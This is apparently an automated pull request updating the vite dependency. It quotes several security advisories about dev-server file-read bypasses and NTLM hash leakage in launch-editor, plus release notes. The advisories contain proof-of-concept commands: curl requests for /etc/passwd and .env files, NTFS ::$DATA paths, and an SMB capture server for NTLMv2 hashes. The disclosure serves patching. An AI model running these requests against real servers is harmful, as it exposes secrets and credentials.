chore(deps): update dependency vite to v7.3.5 [security] #4

Open

update-kitten-bot wants to merge 1 commit from renovate/npm-vite-vulnerability into main

pull from: renovate/npm-vite-vulnerability

merge into: Gang:main

Gang:main

Gang:renovate/all-minor-patch

Gang:renovate/tailwindcss-monorepo

Gang:renovate/pin-dependencies

Gang:renovate/npm-svelte-vulnerability

Gang:renovate/npm-sveltejs-kit-vulnerability

Gang:renovate/typescript-eslint-monorepo

Gang:renovate/serde-monorepo

Gang:renovate/eslint-monorepo

Gang:renovate/crate-rand-vulnerability

Conversation 0 Commits 1 Files changed 1 +171 -126

update-kitten-bot commented 2026-08-11 22:38:00 +00:00

Member

Copy link

This PR contains the following updates:

Package	Change	Age	Confidence
vite (source)	7.2.2 → 7.3.5

---

Vite Vulnerable to Path Traversal in Optimized Deps .map Handling

CVE-2026-39365 / GHSA-4w7w-66w2-5vf9

More information

Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC

1. Create a minimal PoC sourcemap outside the project root

   cat > /tmp/poc.map <<'EOF'
   {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
   EOF
   

2. Start the Vite dev server (example)

   pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
   

3. Confirm that direct /@fs access is blocked by strict (returns 403)
   
4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
   

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9
• https://nvd.nist.gov/vuln/detail/CVE-2026-39365
• https://github.com/vitejs/vite/pull/22161
• https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694
• https://github.com/vitejs/vite
• https://github.com/vitejs/vite/releases/tag/v6.4.2
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket

CVE-2026-39363 / GHSA-p9ff-h696-f583

More information

Details

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC

1. Start the dev server on the target
   Example (used during validation with this repository):

   pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173
   

2. Confirm that access is blocked via the HTTP path (example: arbitrary file)

   curl -i 'http://localhost:5173/@fs/etc/passwd?raw'
   

   Result: 403 Restricted (outside the allow list)
   

3. Confirm that the same file can be retrieved via the WebSocket path
   By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module.
   
   

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583
• https://nvd.nist.gov/vuln/detail/CVE-2026-39363
• https://github.com/vitejs/vite/pull/22159
• https://github.com/vitejs/vite/commit/f02d9fde0b195afe3ea2944414186962fbbe41e0
• https://github.com/vitejs/vite
• https://github.com/vitejs/vite/releases/tag/v6.4.2
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Vite: server.fs.deny bypassed with queries

CVE-2026-39364 / GHSA-v2wj-q39q-566r

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• the sensitive file is denied with a pattern that matches a file by server.fs.deny

Details

On the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, *.crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended.

PoC

1. Start the dev server: pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort
2. Confirm that server.fs.deny is enforced (expect 403): curl -i http://127.0.0.1:5175/src/.env | head -n 20
   
3. Confirm that the same files can be retrieved with query parameters (expect 200):
   

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-v2wj-q39q-566r
• https://nvd.nist.gov/vuln/detail/CVE-2026-39364
• https://github.com/vitejs/vite/pull/22160
• https://github.com/vitejs/vite/commit/a9a3df299378d9cbc5f069e3536a369f8188c8ff
• https://github.com/vitejs/vite
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff
• https://nvd.nist.gov/vuln/detail/CVE-2026-53571
• https://github.com/vitejs/vite

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

Severity

• CVSS Score: 5.5 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3
• https://github.com/vitejs/launch-editor

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitejs/vite (vite)

v7.3.5

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.3

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.2

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.1

Compare Source

Features

• add ignoreOutdatedRequests option to optimizeDeps (#​21364) (9d39d37)

v7.3.0

Compare Source

Features

• deps: update esbuild from ^0.25.0 to ^0.27.0 (#​21183) (cff26ec)

v7.2.7

Compare Source

Bug Fixes

• plugin shortcut support (#​21211) (721f163)

v7.2.6

Compare Source

7.2.6 (2025-12-01)

v7.2.4

Compare Source

Today, we're thrilled to announce the release of the next Vite major:

• Vite 8.0 announcement blog post
• Docs (translations: 简体中文, 日本語, Español, Português, 한국어, Deutsch, فارسی)
• Migration Guide

⚠ BREAKING CHANGES

• remove import.meta.hot.accept resolution fallback (#​21382) (71d0797)
• update default browser target (#​21193) (8c3dd06)
• the epic rolldown-vite merge (#​21189) (4a7f8d4)

Features

• update rolldown to 1.0.0-rc.9 (#​21813) (f05be0e)
• warn when vite-tsconfig-paths plugin is detected (#​21781) (ada493e)
• css: support es2025 build target for lightningcss (#​21769) (08906e7)
• forward browser console logs and errors to dev server terminal (#​20916) (2540ed0)
• update rolldown to 1.0.0-rc.8 (#​21790) (a0c950e)
• export Visitor and ESTree from rolldown/utils (#​21664) (45de31e)
• update rolldown to 1.0.0-rc.6 (#​21714) (37a65f8)
• use util.inspect for CLI error display (#​21668) (5f425a9)
• update rolldown to 1.0.0-rc.5 (#​21660) (b3ddbc5)
• update rolldown to 1.0.0-rc.4 (#​21617) (1ee5c7f)
• wasm: add SSR support for .wasm?init (#​21102) (216a3b5)
• integrate devtools (#​21331) (acbf507)
• update rolldown to 1.0.0-rc.3 (#​21554) (43358e9)
• manifest: add assets field for standalone CSS entry points (#​21015) (f289b9b)
• update rolldown to 1.0.0-rc.2 (#​21512) (fa136a9)
• bundled-dev: support worker in initial bundle (#​21415) (f3d3149)
• dev: detect port conflicts on wildcard hosts (#​21381) (b0dd5a9)
• shortcuts case insensitive (#​21224) (7796ade)
• update rolldown to 1.0.0-rc.1 (#​21463) (ff9dd7f)
• warn if envPrefix contains spaces (#​21292) (9fcde3c)
• update rolldown to 1.0.0-beta.60 (#​21408) (c33aa7c)
• update rolldown to 1.0.0-beta.59 (#​21374) (0037943)
• add ignoreOutdatedRequests option to optimizeDeps (#​21364) (b2e75aa)
• add ios to default esbuild targets (#​21342) (daae6e9)
• update rolldown to 1.0.0-beta.58 (#​21354) (ba40cef)
• update rolldown to 1.0.0-beta.57 (#​21335) (d5412ef)
• css: support es2024 build target for lightningcss (#​21294) (bd33b8e)
• update rolldown to 1.0.0-beta.56 (#​21323) (9847a63)
• introduce v2 native plugins and enable it by default (#​21268) (42f2ab3)
• ssr: avoid errors when rewriting already rewritten stacktrace (#​21269) (98d9a33)
• update rolldown to 1.0.0-beta.55 (#​21300) (2c8db85)
• update rolldown to 1.0.0-beta.54 (#​21267) (c751172)
• add a warning that is output when a plugin sets esbuild related options (#​21218) (200646b)
• highly experimental full bundle mode (#​21235) (83d8c99)
• print esbuild options when both esbuild and oxc options are set (#​21216) (08ae87b)
• update default browser target (#​21193) (8c3dd06)
• the epic rolldown-vite merge (#​21189) (4a7f8d4)

Bug Fixes

• deps: update all non-major dependencies (#​21786) (eaa4352)
• use watch.watcher instead of watch.notify (#​21793) (88953b3)
• css: apply server.origin to public file URLs in CSS (fix #​18457) (#​21697) (c967f48)
• deps: update all non-major dependencies (#​21732) (5c921ca)
• dev: disable extglobs for consistency (#​21745) (1958eeb)
• lib: keep annotation comments for es output (#​21740) (dd3c4f4)
• optimizer: avoid error happening with a package with asset entrypoint (#​21766) (f7e1d07)
• ssr: throw friendly error when calling ssrLoadModule with non-runnable ssr env (#​21739) (1fa736e)
• types: remove extends ImportMeta from ModuleRunnerImportMeta (#​21710) (0176d45)
• wasm: reset assetUrlRE.lastIndex before .test() in SSR builds (#​21780) (3a0d8d9)
• deps: update all non-major dependencies (#​21691) (521fdc0)
• optimizer: avoid duplicate modules when preserveSymlinks is enabled (#​21720) (72165e0)
• dev: only treat EADDRINUSE as port conflict in wildcard pre-check (#​21642) (e54e25f)
• dev: prevent concurrent server restarts (#​21636) (8ce23a3)
• dev: return "502 Bad Gateway" on proxy failures instead of 500 (#​21652) (e240df2)
• clear tsconfig cache only when tsconfig.json is cached (#​21622) (50c9675)
• deps: update all non-major dependencies (#​21594) (becdc5d)
• lib: CSS injection point error with nested name IIFE output (#​21606) (5003de6)
• module-runner: incorrect column with sourcemapInterceptor: "prepareStackTrace" (#​21562) (416c095)
• module-runner: prevent crash on negative column in stacktrace (#​21585) (a075590)
• rolldownOptions/rollupOptions merging at environment level (#​21612) (db2ecc7)
• scanner: respect tsconfig.json (#​21547) (c6c04db)
• avoid registering customization hook for import meta resolver multiple times (#​21518) (8bb3203)
• config: avoid watching rolldown runtime virtual module (#​21545) (d18b139)
• deps: update all non-major dependencies (#​21540) (9ebaeaa)
• populate originalFileNames when resolving CSS asset paths (#​21542) (8b47ff7)
• deps: update all non-major dependencies (#​21488) (2b32ca2)
• disable tsconfig option when loading config (#​21517) (5025c35)
• optimizer: map relative new URL paths to correct relative file location (#​21434) (ca96cbc)
• avoid using deprecated output.inlineDynamicImport option (#​21464) (471ce62)
• use separate hook object for each environment (#​21472) (66347f6)
• deps: update all non-major dependencies (#​21440) (1835995)
• dev: avoid event emitter leak caused by server.listen callback (#​21451) (602d786)
• lazy hook filter should work (#​21443) (bc0c207)
• optimizer: skip rolldownCjsExternalPlugin for platform: neutral (#​21452) (d2fc4be)
• deps: update all non-major dependencies (#​21389) (30f48df)
• deps: update esbuild peerDependency version (#​21398) (4266c97)
• hmr: trigger prune event when last import is removed (#​20781) (#​21093) (7576735)
• module-runner: use process.getBuiltinModule instead of import('node:module') (#​21402) (6633bcb)
• support .env file mounts (FIFOs) (#​21365) (6e6f82a)
• css: stylus Evaluator support (#​21376) (cf9ace1)
• deps: update all non-major dependencies (#​21321) (9bc7c2e)
• import-analysis: avoid cjs interop for built browser external module (#​21333) (dc5a2fb)
• worker: handle new Worker(..., new URL(import.meta.url)) with trailing comma (#​21325) (4a47241)
• detect import.meta.resolve when formatted across multiple lines (#​21312) (130e718)
• allow no-cors requests for non-script tag requests (#​21299) (ef3d596)
• deps: update all non-major dependencies (#​21285) (4635b2e)
• unreachable error when building with experimental.bundledDev is enabled (#​21296) (e81c183)
• deps: update all non-major dependencies (#​21231) (859789c)
• don't strip base from imports (#​21221) (7da742b)
• allow exiting process before optimizer cleanup is done (#​21170) (55ceffc)
• plugin shortcut support (#​21211) (6a3aca0)

Performance Improvements

• ssr: skip circular import check for already-evaluated modules (#​21632) (235140b)
• use tsconfig cache for oxc transform in dev (#​21643) (57ff177)

Documentation

• bulk of typo fixes (#​21507) (80755da)
• update build.dynamicImportVarsOptions (#​21477) (54ce2ed)
• clarify the pronunciation of vite in IPA symbols (#​21238) (9b1d4d6)
• ensure https links (#​21266) (2eb259a)

Miscellaneous Chores

• deps-dev: bump rollup from 4.57.1 to 4.59.0 (#​21717) (25227bb)
• deps: update dependency cac to v7 (#​21788) (44e33ae)
• deps: update dependency rolldown-plugin-dts to ^0.22.2 (#​21731) (d8ea652)
• deps: remove fdir and @rollup/plugin-commonjs (#​21639) (5abffd5)
• deps: update dependency @​rollup/plugin-alias to v6 (#​21097) (44b5bdf)
• fix broken link for future deprecations (#​21603) (25f4501)
• update customResolver deprecation message to mention enforce: 'pre' (#​21576) (2ce34d5)
• update rolldown-plugin-dts to 0.22.1 (#​21559) (77aab4b)
• deps: update dependency rolldown-plugin-dts to ^0.21.8 (#​21539) (33881cb)
• add missing versions to changelog (#​21515) (4bfb239)
• deps: update rolldown-related dependencies (#​21487) (5863e51)
• deps: update rolldown-related dependencies (#​21390) (be9dd4e)
• fix typo in plugin.ts comment (#​21435) (d31fc66)
• replace caniuse link for ES2024 (#​21355) (2ba4e99)
• cleanup changelog (#​21202) (8c8c56e)
• deps: update rolldown-related dependencies (#​21230) (9349446)
• fix spelling error (#​21223) (cc10e20)

Code Refactoring

• don't add optimization.inlineConst: { mode: 'smart' } as it's enabled by default (#​21794) (22b3d11)
• enable some native plugins even with enable native plugin false (#​21744) (fc46c79)
• avoid deprecated legalComments option (#​21721) (e06496e)
• use ESTree types from rolldown/utils (#​21719) (9239750)
• deprecate customResolver in resolve.alias (#​21476) (81275c9)
• remove unnecessary @rolldown/pluginutils (#​21560) (c367b62)
• enable some native plugins even with enable native plugin false (#​21608) (5a4f692)
• use rolldown/utils (#​21577) (e56103f)
• use internal devtools config (#​21609) (9aea20f)
• use parseEnv (#​21586) (f859d2c)
• wasm: remove native wasm helper plugin usage (#​21566) (71a86be)
• enable some native plugins even with enable native plugin false (#​21511) (b40292c)
• remove experimental.enableNativePlugin: 'resolver' (#​21510) (f9d9213)
• use import.meta.dirname everywhere (#​21509) (7becf5f)
• optimizer: simplify rolldownCjsExternalPlugin (#​21450) (ebda8fd)
• remove import.meta.hot.accept resolution fallback (#​21382) (71d0797)
• optimizer: remove dead code (#​21334) (e9a2cdb)

Tests

• ssr: incorrect handleInvoke was called in server-worker-runner.invoke test (#​21751) (b95ca22)
• add more type tests for defineConfig (#​21698) (4fedbbd)
• test case for catching invalid package resolution error (#​21601) (c9b9359)
• bundled-dev: add worker test cases (#​21557) (569bc98)

Beta Changelogs

8.0.0-beta.18 (2026-03-09)

See 8.0.0-beta.18 changelog

8.0.0-beta.17 (2026-03-09)

See 8.0.0-beta.17 changelog

8.0.0-beta.16 (2026-02-27)

See 8.0.0-beta.16 changelog

8.0.0-beta.15 (2026-02-19)

See 8.0.0-beta.15 changelog

8.0.0-beta.14 (2026-02-12)

See 8.0.0-beta.14 changelog

8.0.0-beta.13 (2026-02-05)

See 8.0.0-beta.13 changelog

8.0.0-beta.12 (2026-02-03)

See 8.0.0-beta.12 changelog

8.0.0-beta.11 (2026-01-29)

See 8.0.0-beta.11 changelog

8.0.0-beta.10 (2026-01-24)

See 8.0.0-beta.10 changelog

8.0.0-beta.9 (2026-01-22)

See 8.0.0-beta.9 changelog

8.0.0-beta.8 (2026-01-15)

See 8.0.0-beta.8 changelog

8.0.0-beta.7 (2026-01-08)

See 8.0.0-beta.7 changelog

8.0.0-beta.6 (2026-01-07)

See 8.0.0-beta.6 changelog

8.0.0-beta.5 (2025-12-25)

See 8.0.0-beta.5 changelog

8.0.0-beta.4 (2025-12-22)

See 8.0.0-beta.4 changelog

8.0.0-beta.3 (2025-12-18)

See 8.0.0-beta.3 changelog

8.0.0-beta.2 (2025-12-12)

See 8.0.0-beta.2 changelog

8.0.0-beta.1 (2025-12-08)

See 8.0.0-beta.1 changelog

8.0.0-beta.0 (2025-12-03)

See 8.0.0-beta.0 changelog

Rolldown-Vite changelogs

See rolldown-vite changelog

v7.2.3

Compare Source

Bug Fixes

• allow multiple bindCLIShortcuts calls with shortcut merging (#​21103) (5909efd)
• deps: update all non-major dependencies (#​21096) (6a34ac3)
• deps: update all non-major dependencies (#​21128) (4f8171e)

Performance Improvements

• deps: replace debug with obug (#​21107) (acfe939)

Miscellaneous Chores

• deps: update dependency @​rollup/plugin-commonjs to v29 (#​21099) (02ceaec)
• deps: update rolldown-related dependencies (#​21095) (39a0a15)
• deps: update rolldown-related dependencies (#​21127) (5029720)

---

Configuration

📅 Schedule: (in timezone Europe/Berlin)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`7.2.2` → `7.3.5`](https://renovatebot.com/diffs/npm/vite/7.2.2/7.3.5) |  |  | --- ### Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling [CVE-2026-39365](https://nvd.nist.gov/vuln/detail/CVE-2026-39365) / [GHSA-4w7w-66w2-5vf9](https://github.com/advisories/GHSA-4w7w-66w2-5vf9) <details> <summary>More information</summary> #### Details ##### Summary Any files ending with `.map` even out side the project can be returned to the browser. ##### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - have a sensitive content in files ending with `.map` and the path is predictable ##### Details In Vite v7.3.1, the dev server’s handling of `.map` requests for optimized dependencies resolves file paths and calls `readFile` without restricting `../` segments in the URL. As a result, it is possible to bypass the [`server.fs.strict`](https://vite.dev/config/server-options#server-fs-strict) allow list and retrieve `.map` files located outside the project root, provided they can be parsed as valid source map JSON. ##### PoC 1. Create a minimal PoC sourcemap outside the project root ```bash cat > /tmp/poc.map <<'EOF' {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""} EOF ``` 2. Start the Vite dev server (example) ```bash pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080 ``` 3. Confirm that direct `/@fs` access is blocked by `strict` (returns 403) <img width="4004" height="1038" alt="image" src="https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab" /> 4. Inject `../` segments under the optimized deps `.map` URL prefix to reach `/tmp/poc.map` <img width="2790" height="846" alt="image" src="https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2" /> #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9](https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-39365](https://nvd.nist.gov/vuln/detail/CVE-2026-39365) - [https://github.com/vitejs/vite/pull/22161](https://github.com/vitejs/vite/pull/22161) - [https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694](https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694) - [https://github.com/vitejs/vite](https://github.com/vitejs/vite) - [https://github.com/vitejs/vite/releases/tag/v6.4.2](https://github.com/vitejs/vite/releases/tag/v6.4.2) - [https://github.com/vitejs/vite/releases/tag/v7.3.2](https://github.com/vitejs/vite/releases/tag/v7.3.2) - [https://github.com/vitejs/vite/releases/tag/v8.0.5](https://github.com/vitejs/vite/releases/tag/v8.0.5) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4w7w-66w2-5vf9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket [CVE-2026-39363](https://nvd.nist.gov/vuln/detail/CVE-2026-39363) / [GHSA-p9ff-h696-f583](https://github.com/advisories/GHSA-p9ff-h696-f583) <details> <summary>More information</summary> #### Details ##### Summary [`server.fs`](https://vite.dev/config/server-options#server-fs-strict) check was not enforced to the `fetchModule` method that is exposed in Vite dev server's WebSocket. ##### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - WebSocket is not disabled by `server.ws: false` Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed. ##### Details If it is possible to connect to the Vite dev server’s WebSocket **without an `Origin` header**, an attacker can invoke `fetchModule` via the custom WebSocket event `vite:invoke` and combine `file://...` with `?raw` (or `?inline`) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., `export default "..."`). The access control enforced in the HTTP request path (such as `server.fs.allow`) is not applied to this WebSocket-based execution path. ##### PoC 1. Start the dev server on the target Example (used during validation with this repository): ```bash pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173 ``` 2. Confirm that access is blocked via the HTTP path (example: arbitrary file) ```bash curl -i 'http://localhost:5173/@fs/etc/passwd?raw' ``` Result: `403 Restricted` (outside the allow list) <img width="3898" height="1014" alt="image" src="https://github.com/user-attachments/assets/f6593377-549c-45d7-b562-5c19833438af" /> 3. Confirm that the same file can be retrieved via the WebSocket path By connecting to the HMR WebSocket without an `Origin` header and sending a `vite:invoke` request that calls `fetchModule` with a `file://...` URL and `?raw`, the file contents are returned as a JavaScript module. <img width="1049" height="296" alt="image" src="https://github.com/user-attachments/assets/af969f7b-d34e-4af4-8adb-5e2b83b31972" /> <img width="1382" height="955" alt="image" src="https://github.com/user-attachments/assets/6a230d2e-197a-4c9c-b373-d0129756d5d7" /> #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583](https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583) - [https://nvd.nist.gov/vuln/detail/CVE-2026-39363](https://nvd.nist.gov/vuln/detail/CVE-2026-39363) - [https://github.com/vitejs/vite/pull/22159](https://github.com/vitejs/vite/pull/22159) - [https://github.com/vitejs/vite/commit/f02d9fde0b195afe3ea2944414186962fbbe41e0](https://github.com/vitejs/vite/commit/f02d9fde0b195afe3ea2944414186962fbbe41e0) - [https://github.com/vitejs/vite](https://github.com/vitejs/vite) - [https://github.com/vitejs/vite/releases/tag/v6.4.2](https://github.com/vitejs/vite/releases/tag/v6.4.2) - [https://github.com/vitejs/vite/releases/tag/v7.3.2](https://github.com/vitejs/vite/releases/tag/v7.3.2) - [https://github.com/vitejs/vite/releases/tag/v8.0.5](https://github.com/vitejs/vite/releases/tag/v8.0.5) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-p9ff-h696-f583) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Vite: `server.fs.deny` bypassed with queries [CVE-2026-39364](https://nvd.nist.gov/vuln/detail/CVE-2026-39364) / [GHSA-v2wj-q39q-566r](https://github.com/advisories/GHSA-v2wj-q39q-566r) <details> <summary>More information</summary> #### Details ##### Summary The contents of files that are specified by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser. ##### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - the sensitive file exists in the allowed directories specified by [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) - the sensitive file is denied with a pattern that matches a file by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) ##### Details On the Vite dev server, files that should be blocked by `server.fs.deny` (e.g., `.env`, `*.crt`) can be retrieved with HTTP 200 responses when query parameters such as `?raw`, `?import&raw`, or `?import&url&inline` are appended. ##### PoC 1. Start the dev server: `pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort` 2. Confirm that `server.fs.deny` is enforced (expect 403): `curl -i http://127.0.0.1:5175/src/.env | head -n 20` <img width="3944" height="1092" alt="image" src="https://github.com/user-attachments/assets/ecb9f2e0-e08f-4ac7-b194-e0f988c4cd4f" /> 3. Confirm that the same files can be retrieved with query parameters (expect 200): <img width="2014" height="373" alt="image" src="https://github.com/user-attachments/assets/76bc2a6a-44f4-4161-ae47-eab5ae0c04a8" /> #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: 